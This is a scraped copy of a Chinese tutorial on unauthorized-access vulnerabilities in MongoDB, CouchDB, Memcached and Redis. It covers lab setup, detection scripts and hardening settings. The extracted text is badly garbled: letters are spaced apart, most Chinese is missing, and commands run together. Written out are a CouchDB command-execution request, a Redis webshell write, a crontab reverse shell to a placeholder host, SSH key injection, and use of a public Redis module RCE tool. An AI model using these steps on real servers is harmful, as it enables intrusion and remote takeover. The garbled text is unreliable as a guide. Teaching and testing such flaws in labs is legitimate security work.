[16108] 2020-11-19_从零开始学习各种常见未授权访问漏洞

文档创建者:s7ckTeam
浏览次数:8
最后更新:2025-01-18
2020-11-19_从零开始学习各种常见未授权访问漏洞 访 Y o k a n   F r e e B u f   2 0 2 0 - 1 1 - 1 9 访 访 访 访 访 M o n g o D B 访 访 M o n g o D B C + + W E B M o n g o D B 2 7 0 1 7 M o n g o D B , , 访 访   M o n g o d b     a u t h   使 M o n g o D B h t t p s : / / w w w . r u n o o b . c o m / m o n g o d b / m o n g o d b - t u t o r i a l . h t m l 使 d o c k e r D o c k e r h t t p s : / / w w w . r u n o o b . c o m / d o c k e r / d o c k e r - t u t o r i a l . h t m l d o c k e r   s e a r c h   m o n g o d b   #   D o c k e r   H u b d o c k e r   p u l l   m o n g o   # d o c k e r   i m a g e s   m o n g o   # m o n g o d o c k e r   r u n   - d   - p   2 7 0 1 7 : 2 7 0 1 7   n a m e   m o n g o d b   m o n g o   #   d o c k e r   p s   #   P y t h o n
n m a p 使   N o S Q L B o o s t e r h t t p s : / / s 3 . m o n g o b o o s t e r . c o m / d o w n l o a d / r e l e a s e s v 5 / n o s q l b o o s t e r 4 m o n g o - 5 . 1 . 1 2 . e x e ( 1 )     M o n g o D B     M o n g o D B     - a u t h       M o n g o D B   ( 2 )     H T T P     R E S T   M o n g o D B     H T T P     R E S T     2 . 6   M o n g o D B   使   W e b     W e b     - n o h t t p i n t e r f a c e     n o h t t p i n t e r f a c e   =   f a l s e ( 3 )     I P # !   / u s r / b i n / e n v   p y t h o n #   _ * _     c o d i n g : u t f - 8   _ * _ d e f   m o n g o d b ( i p , p o r t ) : t r y : c l i e n t   =   M o n g o C l i e n t ( i p , p o r t ) d b = c l i e n t . l o c a l f l a g   =   d b . c o l l e c t i o n _ n a m e s ( ) i f   f l a g : p r i n t   [ + ]   M o n g o d b   l o g i n   f o r   a n o n y m o u s e x c e p t   E x c e p t i o n ,   e : p a s s n m a p   - p   2 7 0 1 7   s c r i p t   m o n g o d b - i n f o u s e   a d m i n   #   使   a d m i n   d b . a d d U s e r   #   d b . a u t h , #     1  
b i n d _ i p   1 2 7 . 0 . 0 . 1   / e t c / m o n g o d b . c o n f   b i n d _ i p   =   1 2 7 . 0 . 0 . 1 C o u c h D B 访 访 C o u c h D B A p a c h e 使 N o S Q L 使 J S O N 使 j a v a 使 h t t p a p i 访 使 W e b C o u c h D B 5 9 8 4 R e s t f u l A P I H T T P   S e r v e r 0 . 0 . 0 . 0 A P I 访 访 A P I A P I l o c a l . i n i C o u c h D B h t t p s : / / w w w . w 3 c s c h o o l . c n / c o u c h d b / 使 v u l h u b V u l h u b h t t p s : / / w w w . f u j i e a c e . c o m / p e n e t r a t i o n - t e s t / v u l h u b . h t m l n m a p   - p   5 9 8 4   s c r i p t   c o u c h d b - s t a t s . n s e 1 q u e r y _ s e r v e r 2 c u r l   - X   P U T   ' h t t p : / / 1 9 2 . 1 6 8 . 1 6 8 . 1 3 1 : 5 9 8 4 / _ c o n f i g / q u e r y _ s e r v e r s / c m d '   - d   ' " i d   > / t m p / s u c c e s s " '
3 q u e r y _ s e r v e r 1 C o u c h D B I P   C o u c h D B     / e t c / c o u c h d b / l o c a l . i n i     b i n d _ a d d r e s s   =   0 . 0 . 0 . 0   0 . 0 . 0     1 2 7 . 0 . 0 . 1   2 访   C o u c h D B     / e t c / c o u c h d b / l o c a l . i n i   [ a d m i n s ] M e m c a c h e d 访 访 M e m c a c h e d M e m c a c h e d k e y - v a l u e A P I M e m c a c h e d 便 A P I 使 访 W e b   M e m c a c h e d     M e m c a c h e d   1 1 2 1 1 M e m c a c h e d h t t p s : / / w w w . r u n o o b . c o m / M e m c a c h e d / M e m c a c h e d - t u t o r i a l . h t m l 6 4   1 . 4 . 4 h t t p : / / s t a t i c . r u n o o b . c o m / d o w n l o a d / m e m c a c h e d - w i n 6 4 - 1 . 4 . 4 - 1 4 . z i p c u r l   - X   P U T   ' h t t p : / / 1 9 2 . 1 6 8 . 1 6 8 . 1 3 1 : 5 9 8 4 / v u l t e s t ' c u r l   - X   P U T   ' h t t p : / / 1 9 2 . 1 6 8 . 1 6 8 . 1 3 1 : 5 9 8 4 / v u l t e s t / v u l '   - d   ' { " _ i d " : " 7 7 0 8 9 5 a 9 7 7 2 6 d 5 c a 6 d 7 0 a 2 2 1 7 3 0 0 5 c 7 b " } ' c u r l   - X   P O S T   ' h t t p : / / 1 9 2 . 1 6 8 . 1 6 8 . 1 3 1 : 5 9 8 4 / v u l t e s t / _ t e m p _ v i e w ? l i m i t = 1 0 '   - d   ' { " l a n g u a g e " : " c m d " , " m a p " : " " } '   - H   ' C o n t e n t - T y p e : a p p l i c a t i o n / j s o n ' m e m c a c h e d . e x e   - d   i n s t a l l   m e m c a c h e d . e x e   - d   s t a r t   n e t s t a t   - a n o   |   f i n d s t r   1 1 2 1 1 t a s k l i s t   |   f i n d s t r   M e m c a c h e d
P y t h o n N m a p t e l n e t   1 1 2 1 1     n c   - v v   1 1 2 1 1 m e m c a c h e   1 1 2 1 1 s t a t s   # m e m c a c h e s t a t s   i t e m s   / / i t e m s s t a t s   c a c h e d u m p   3 2   0   / / k e y D E M O :   h t t p : / / b l o g . n s f o c u s . n e t / m e m c a c h e - u n a u t h o r i z e d - a c c e s s - e x p l o i t / 1 m e m c a c h e d 1 2 7 . 0 . 0 . 1 # !   / u s r / b i n / e n v   p y t h o n #   _ * _     c o d i n g : u t f - 8   _ * _ d e f   M e m c a c h e _ c h e c k ( i p ,   p o r t = 1 1 2 1 1 ,   t i m e o u t = 5 ) :         t r y :                 s o c k e t . s e t d e f a u l t t i m e o u t ( t i m e o u t )                 s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M )                 s . c o n n e c t ( ( i p ,   i n t ( p o r t ) ) )                 s . s e n d ( " s t a t s r n " )                 r e s u l t   =   s . r e c v ( 1 0 2 4 )                 i f   " S T A T   v e r s i o n "   i n   r e s u l t :                         p r i n t   ' [ + ]   M e m c a c h e   U n a u t h o r i z e d :   '   + i p + ' : ' + s t r ( p o r t )         e x c e p t   E x c e p t i o n ,   e :                 p a s s n m a p   - p   1 1 2 1 1   s c r i p t   m e m c a c h e d - i n f o [ r o o t @ l o c a l   ~ ] #   v i m   / e t c / s y s c o n f i g / m e m c a c h e d O P T I O N S = " - l   1 2 7 . 0 . 0 . 1 "     # [ r o o t @ l o c a l   ~ ] #   / e t c / i n i t . d / m e m c a c h e d   r e s t a r t   #
2 m e m c a c h e d I P I P 使 i p t a l b e s f i r e w a l l d m e m c a c h e d R e d i s 访 访 R e d i s 使 A N S I   C B S D K e y - V a l u e A P I v a l u e   ( S t r i n g ) ,   ( H a s h ) ,   ( l i s t ) ,   s e t s     s o r t e d   s e t s R e d i s     m e m c a c h e d     K e y / V a l u e   R e d i s   0 . 0 . 0 . 0 : 6 3 7 9   R e d i s   访 访   R e d i s     R e d i s   R e d i s h t t p s : / / w w w . r u n o o b . c o m / r e d i s / r e d i s - t u t o r i a l . h t m l L i n u x w g e t   h t t p : / / d o w n l o a d . r e d i s . i o / r e l e a s e s / r e d i s - 6 . 0 . 8 . t a r . g z # t a r   - z x v f   r e d i s - 6 . 0 . 8 . t a r . g z   # c d   r e d i s - 6 . 0 . 8   #   r e d i s m a k e   #   m a k e   r e d i s - 6 . 0 . 8     s r c     r e d i s     r e d i s - s e r v e r   r e d i s - c l i   r e d i s     r e d i s   使   r e d i s   使 使 r e d i s . c o n f   使 r e d i s #   c d   s r c #   . / r e d i s - s e r v e r #   c d   s r c #   . / r e d i s - s e r v e r   . . / r e d i s . c o n f c p   r e d i s - s e r v e r   / u s r / b i n /
U b u n t u   a p t     U b u n t u     R e d i s   使 :   R e d i s   r e d i s   1 2 7 . 0 . 0 . 1     I P   6 3 7 9     r e d i s     P I N G   r e d i s r e d i s r e d i s . c o n f N m a p c p   r e d i s - c l i   / u s r / b i n /             # r e d i s - s e r v e r r e d i s - c l i / u s r / b i n r e d i s - s e r v e r r e d i s - c l i c d   . . c p   r e d i s . c o n f   / e t c /           # r e d i s . c o n f / e t c / r e d i s - s e r v e r   / e t c / r e d i s . c o n f     #   使 / e t c / r e d i s . c o n f r e d i s s u d o   a p t   u p d a t e s u d o   a p t   i n s t a l l   r e d i s - s e r v e r r e d i s - s e r v e r r e d i s - c l i r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 > b i d   1 2 7 . 0 . 0 . 1 # p r o t e c t e d - m o d e n o n m a p   - p   6 3 7 9   s c r i p t   r e d i s - i n f o
R e d i s 访 h t t p s : / / w w w . f r e e b u f . c o m / a r t i c l e s / n e t w o r k / 1 5 8 0 6 5 . h t m l 0 x 0 1   w e b s h e l l r e d i s w e b 1 w e b 2 w e b 3 w i n d o w s l i n u x r e d i s w e b s h e l l w e b : r n r n r e d i s p h p g e t s h e l l 0 x 0 2   c r o n t a b s h e l l c o n f i g   s e t   d i r   " / v a r / w w w / h t m l " c o n f i g   s e t   d b f i l e n a m e   p h p i n f o . p h p s e t   x   " r n r n < ? p h p   p h p i n f o ( ) ; ? > r n r n " s a v e
使 c e n t o s c e n t o s r e d i s c e n t o s u b u n t u r e d i s r e d i s c e n t o s s h e l l 0 x 0 3   s s h r o o t 使 l i n u x 1 r o o t 2 s s h / e t c / . s s h r e d i s r o o t r o o t S S H S S H 1 s s h / e t c / s s h / s s h d _ c o n f i g : 2 使 3 k e y . t x t n c   - l v v p   8 7 6 9 c o n f i g   s e t   d i r   / v a r / s p o o l / c r o n s e t   x   " n n * / 1   *   *   *   *   / b i n / b a s h   - i > & / d e v / t c p / x x x . x x x . x x x . x x x / 8 7 6 9   0 > & 1 n n " c o n f i g   s e t   d b f i l e n a m e   r o o t s a v e R S A A u t h e n t i c a t i o n y e s 使 R S A r h o s t s P u b k e y A u t h e n t i c a t i o n y e s A u t h o r i z e d K e y F i l e s s y s t e m c t l   r e s t a r t   s s h d . s e r v i c e s s h - k e y g e n   - t   r s a
4 r e d i s 5   / r o o t / . s s h   a u t h o r i z e d _ k e y s a u t h o r i z e d _ k e y s 6 使 s s h s s h   1 9 2 . 1 6 8 . 1 6 8 . 1 3 3 0 x 0 4   R C E R e i d s   4 . x R e d i s R e d i s R e d i s C . s o g e t s h e l l 1 . s o R e d i s M o d u l e s - E x e c u t e C o m m a n d 使 m a k e 2 p y t h o n   r e d i s - r c e . p y   - r   i p - p     - L   i p   - f   . s o - r r e d i s   I P - L i p ( e c h o   - e   n n ;   c a t   / r o o t / . s s h / i d _ r s a . p u b ;   e c h o   - e   n n )   >   k e y . t x t c a t   / r o o t / k e y . t x t   |   r e d i s - c l i   - h   1 9 2 . 1 6 8 . 1 6 8 . 1 3 3   - x   s e t   x x x r e d i s - c l i   - h   1 9 2 . 1 6 8 . 1 6 8 . 1 3 3 c o n f i g   s e t   d i r   / r o o t / . s s h c o n f i g   s e t   d b f i l e n a m e   a u t h o r i z e d _ k e y s g i t   c l o n e   h t t p s : / / g i t h u b . c o m / n 0 b 0 d y C N / R e d i s M o d u l e s - E x e c u t e C o m m a n d c d   R e d i s M o d u l e s - E x e c u t e C o m m a n d / m a k e g i t   c l o n e   h t t p s : / / g i t h u b . c o m / R i d t e r / r e d i s - r c e . g i t c d   r e d i s - r c e / c p   . .   / m o d u l e . s o   . / p i p   i n s t a l l   - r   r e q u i r e m e n t s . t x t p y t h o n   r e d i s - r c e . p y   - r   1 9 2 . 1 6 8 . 2 8 . 1 5 2   - p   6 3 7 9   - L   1 9 2 . 1 6 8 . 2 8 . 1 3 7   - f   m o d u l e . s o
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则